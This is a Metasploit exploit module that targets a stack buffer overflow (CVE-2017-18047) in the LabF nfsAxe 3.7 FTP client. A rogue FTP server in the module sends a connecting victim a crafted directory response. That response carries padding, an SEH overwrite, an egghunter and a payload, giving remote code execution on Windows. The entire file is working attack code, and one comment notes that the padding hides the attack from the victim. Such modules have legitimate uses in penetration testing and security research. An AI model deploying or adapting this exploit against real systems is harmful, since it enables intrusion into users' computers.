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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::TcpServer
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  include Msf::Exploit::Seh
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  include Msf::Exploit::Remote::Egghunter
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow',
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        'Description' => %q{
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          This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote
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          code execution.
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        },
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        'Author' => [
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          'Tulpa', # Original exploit author
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          'Daniel Teixeira' # MSF module author
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2017-18047' ],
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          [ 'EDB', '42011' ]
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        ],
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        'Payload' => {
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          'BadChars' => "\x00\x0a\x10",
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          # p/p/r in wcmpa10.dll
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          [ 'Windows Universal', { 'Ret' => 0x6801549F } ]
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        ],
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        'Privileged' => false,
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        'DefaultOptions' => {
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          'SRVHOST' => '0.0.0.0',
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        },
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        'DisclosureDate' => '2017-05-15',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ])
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      ]
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    )
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  end
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  def exploit
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    srv_ip_for_client = datastore['SRVHOST']
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    if srv_ip_for_client == '0.0.0.0'
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      if datastore['LHOST']
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        srv_ip_for_client = datastore['LHOST']
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      else
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        srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
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      end
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    end
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    srv_port = datastore['SRVPORT']
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    print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
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    super
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  end
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  def on_client_connect(client)
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    return if ((p = regenerate_payload(client)) == nil)
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    print_status("#{client.peerhost} - connected.")
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    res = client.get_once.to_s.strip
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    print_status("#{client.peerhost} - Request: #{res}") unless res.empty?
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    print_status("#{client.peerhost} - Response: Sending 220 Welcome")
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    welcome = "220 Welcome.\r\n"
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    client.put(welcome)
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    res = client.get_once.to_s.strip
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    print_status("#{client.peerhost} - Request: #{res}")
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    print_status("#{client.peerhost} - Response: sending 331 OK")
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    user = "331 OK.\r\n"
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    client.put(user)
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    res = client.get_once.to_s.strip
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    print_status("#{client.peerhost} - Request: #{res}")
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    print_status("#{client.peerhost} - Response: Sending 230 OK")
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    pass = "230 OK.\r\n"
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    client.put(pass)
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    res = client.get_once.to_s.strip
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    print_status("#{client.peerhost} - Request: #{res}")
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    eggoptions = { :checksum => true }
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    hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
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    # "\x20"s are used to make the attack less obvious
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    # on the target machine's screen.
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    sploit = "220 \""
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    sploit << "\x20" * (9833 - egg.length)
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    sploit << egg
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    sploit << generate_seh_record(target.ret)
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    sploit << hunter
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    sploit << "\x20" * (576 - hunter.length)
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    sploit << "\" is current directory\r\n"
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    print_status("#{client.peerhost} - Request: Sending the malicious response")
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    client.put(sploit)
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  end
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end
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